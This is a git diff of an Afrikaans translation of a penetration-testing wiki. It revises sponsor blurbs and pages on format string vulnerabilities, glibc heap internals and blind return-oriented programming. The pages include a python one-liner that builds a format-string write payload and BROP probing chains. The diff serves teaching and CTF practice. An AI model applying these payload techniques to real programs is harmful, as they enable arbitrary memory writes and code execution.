diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index f9a051e20..e70bceed6 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index e70bceed6..d798d9edc 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index d798d9edc..1ec78aebd 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 1ec78aebd..020fb69e2 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
index 020fb69e2..e3657baf3 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
index e3657baf3..f95e8e4d5 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
index f95e8e4d5..9dcb86f81 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
index 9dcb86f81..f3314db22 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
index f3314db22..7a07c3343 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index 7a07c3343..b40c8ed4a 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index b40c8ed4a..977c3f327 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index 977c3f327..0b2fb1ac2 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 0b2fb1ac2..02f2bc2fe 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/README.md b/README.md
index 00a9a4ad7..0bba65035 100644
--- a/README.md
+++ b/README.md
@@ -20,7 +20,7 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
-[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheid dienste** soos pentesting, Red teams en opleiding aan te bied.
+[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se slagspreuk is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
@@ -65,9 +65,9 @@ Kry Toegang Vandag:
### [HACKENPROOF](https://bit.ly/3xrrDrL)
-
+
-Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer!
+Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer!
* **Hacking Inligting:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
* **Regstydse Hack Nuus:** Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
@@ -77,19 +77,16 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
***
-### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskap
+### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskapstel
-
+
**Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk**
-**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
+**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
-{% endembed %}
-
***
### [SerpApi](https://serpapi.com/)
@@ -98,8 +95,8 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
-'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
-In teenstelling met ander verskaffers, **SerpApi scrape nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennis grafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
+'n Intekening op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
+In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennis grafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
@@ -111,11 +108,11 @@ Jy kan **'n gratis rekening** [**hier**](https://serpapi.com/users/sign\_up)**.*
-[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheid maatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheid bedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
+[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheidsbedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
-Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec is **baie selfversekerd in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
+Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy dit nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
@@ -123,7 +120,7 @@ Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks
## Lisensie & Vrywaring
-Kyk na hulle in:
+Kyk hulle in:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md
index 53f11f7f3..f5a6cfa43 100644
--- a/binary-exploitation/format-strings/README.md
+++ b/binary-exploitation/format-strings/README.md
@@ -15,21 +15,21 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiende Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basiese Inligting
-In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **rauwe teks met die formaatters**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formaatters** van die rauwe teks te **vervang**.
+In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **rauwe teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** van die rauwe teks te **vervang**.
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
-Die kwesbaarheid verskyn wanneer 'n **aanvalle teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier in staat om **arbitraire kode uit te voer**.
+Die kwesbaarheid verskyn wanneer 'n **aanvaller teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier kan hulle **arbitraire kode uitvoer**.
-#### Formaatters:
+#### Formateerders:
```bash
%08x —> 8 hex bytes
%d —> Entire
@@ -72,7 +72,7 @@ return 0;
```
### **Toegang tot Pointers**
-Die formaat **`%$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
+Die formaat **`%$x`**, waar `n` 'n getal is, stel jou in staat om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
```c
printf("%x %x %x %x")
```
@@ -82,7 +82,7 @@ Of jy kan doen:
```c
printf("%4$x")
```
-and lees direk die vierde.
+en lees direk die vierde.
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
@@ -151,7 +151,7 @@ p.close()
Arbitraire lees kan nuttig wees om:
* **Dump** die **binaire** uit geheue
-* **Toegang tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of persoonlike wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+* **Toegang te verkry tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of persoonlike wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitraire Skrywe**
@@ -187,6 +187,8 @@ If HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
+
+{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
@@ -231,11 +233,11 @@ Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbru
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie te oorskryf (ret2win)
+* 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel te skryf wat na `strlen` wys. Wanneer die vloei terug na main gaan, word `strlen` uitgevoer met gebruikersinvoer en wys na `system`, dit sal die oorgedraagde opdragte uitvoer.
-
+
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend in Pools geskryf en gesproke vereis_).
diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md
index 8f2a65dac..86965604e 100644
--- a/binary-exploitation/libc-heap/README.md
+++ b/binary-exploitation/libc-heap/README.md
@@ -15,8 +15,8 @@ Wanneer 'n sekere hoeveelheid data aangevra word om in die heap gestoor te word,
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
* Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
-* As daar in die lys van chunks iemand beskikbaar groot genoeg is om die versoek te vervul, sal dit gebruik word.
-* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie versoek gebruik sal word en die res aan die chunks lys bygevoeg sal word.
+* As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
+* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res sal by die chunks lys gevoeg word.
* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
* As alles misluk, keer `malloc` null terug.
@@ -25,11 +25,11 @@ Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** geb
## Arenas
-In **multithreaded** toepassings moet die heap bestuurder **wedren toestande** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
+In **multithreaded** toepassings moet die heap bestuurder **race condities** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie threads toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
-Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
+Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder vir hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
@@ -46,11 +46,11 @@ Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassi
3. **Geleidelike Uitbreiding met `mprotect`**:
* Die gereserveerde geheuegebied is aanvanklik gemerk as `PROT_NONE`, wat aandui dat die kernel nie fisiese geheue aan hierdie ruimte hoef toe te ken nie.
* Om die subheap te "laat groei", gebruik die heap bestuurder `mprotect` om bladsy toestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander, wat die kernel aanmoedig om fisiese geheue aan die voorheen gereserveerde adresse toe te ken. Hierdie stap-vir-stap benadering laat die subheap toe om uit te brei soos nodig.
-* Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met toewysing.
+* Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met allokasie.
### heap\_info
-Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer toewysings nie, hierdie struktuur sal ook daardie inligting stoor.
+Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struktuur sal ook daardie inligting stoor.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@@ -74,9 +74,9 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
Dit is belangrik om te noem dat die **hoof arena `malloc_state`** struktuur 'n **globale veranderlike in die libc** is (dus geleë in die libc geheue ruimte).\
In die geval van **`malloc_state`** struktuur van die heaps van threads, is hulle geleë **binne eie thread "heap"**.
-Daar is 'n paar interessante dinge om op te let van hierdie struktuur (sien C kode hieronder):
+Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode hieronder):
-* `__libc_lock_define (, mutex);` is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
+* `__libc_lock_define (, mutex);` Is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
* Vlaggies:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@@ -87,10 +87,10 @@ Daar is 'n paar interessante dinge om op te let van hierdie struktuur (sien C ko
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
-* Daarom sal die **eerste chunk** van hierdie bins 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan **leak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
-* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
-* Die `top` chunk is die laaste "chunk", wat basies **alle die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
-* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer wat oorbly is hier geplaas.
+* Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwaartse pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan l**eak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
+* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is gekoppelde lyste van arenas
+* Die `top` chunk is die laaste "chunk", wat basies **al die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
+* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer oorblywende deel word hier geplaas.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
-Soos voorheen opgemerk, het hierdie stukke ook 'n paar metadata, baie goed voorgestel in hierdie beeld:
+Soos voorheen kommentaar gelewer, het hierdie stukke ook 'n paar metadata, baie goed verteenwoordig in hierdie beeld:
@@ -177,7 +177,7 @@ Boonop, wanneer beskikbaar, word die gebruikersdata ook gebruik om 'n paar data
{% hint style="info" %}
-Let op hoe om die lys op hierdie manier te verbind die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
+Let op hoe die lys op hierdie manier te verbind die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
{% endhint %}
### Stuk Wysers
@@ -412,7 +412,7 @@ Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die
-Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
+Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kontroleer, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
```
@@ -470,12 +470,12 @@ return 0;
Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan die begin slegs 1 arena is:
-
-
-Dan, na die eerste thread aan te roep, die een wat malloc aanroep, word 'n nuwe arena geskep:
-
+Dan, na die aanroep van die eerste draad, die een wat malloc aanroep, word 'n nuwe arena geskep:
+
+
+
en binne dit kan 'n paar chunks gevind word:
diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
index 3952ab6f2..b5e0482d5 100644
--- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@@ -35,13 +35,13 @@ Jy kan meer inligting oor hierdie prosesse [hier (BF Forked & Threaded Stack Can
### **4. Vind die stop gadget**
-Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
+Hierdie gadget laat basies toe om te bevestig dat iets interessant uitgevoer is deur die ROP gadget omdat die uitvoering nie gebroke het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is geposisioneer aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
### **5. Vind BROP gadget**
-Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van sommige instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
+Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van 'n paar instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
-
+
Hierdie sou die gadgets wees:
@@ -52,25 +52,25 @@ Let op hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie
Ook, let op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
-`'A' * offset + kanary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
+`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 registers** van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
-Om hierdie **laaste opsie te verwyder** word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
+Om hierdie **laaste opsie te verwyder**, word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
-`'A' * offset + kanary + rbp + ADDR`
+`'A' * offset + canary + rbp + ADDR`
As jy die adres van die ret2csu gadget ken, is dit moontlik om die **adres van die gadgets om `rsi` en `rdi` te beheer** af te lei.
### 6. Vind PLT
-Die PLT tabel kan van 0x400000 of van die **gelek RIP adres** van die stapel gesoek word (as **PIE** gebruik word). Die **ingevoerde** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die **PLT + 6B** te kontroleer crash ook nie nie, aangesien dit die eerste kode is wat uitgevoer word.
+Die PLT tabel kan van 0x400000 of van die **gelek RIP adres** van die stapel gesoek word (as **PIE** gebruik word). Die **ingevoerde** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die **PLT + 6B te kontroleer, crash ook nie** aangesien dit die eerste kode is wat uitgevoer word.
Daarom is dit moontlik om die PLT tabel te vind deur die volgende gedrag te kontroleer:
-* `'A' * offset + kanary + rbp + ADDR + STOP` -> geen crash
-* `'A' * offset + kanary + rbp + (ADDR + 0x6) + STOP` -> geen crash
-* `'A' * offset + kanary + rbp + (ADDR + 0x10) + STOP` -> geen crash
+* `'A' * offset + canary + rbp + ADDR + STOP` -> geen crash
+* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> geen crash
+* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> geen crash
### 7. Vind strcmp
@@ -98,7 +98,7 @@ Onthou dat:
* BROP + 0x9 dui op **`pop RDI; ret;`**
* PLT + 0xb dui op 'n oproep na **dl\_resolve**.
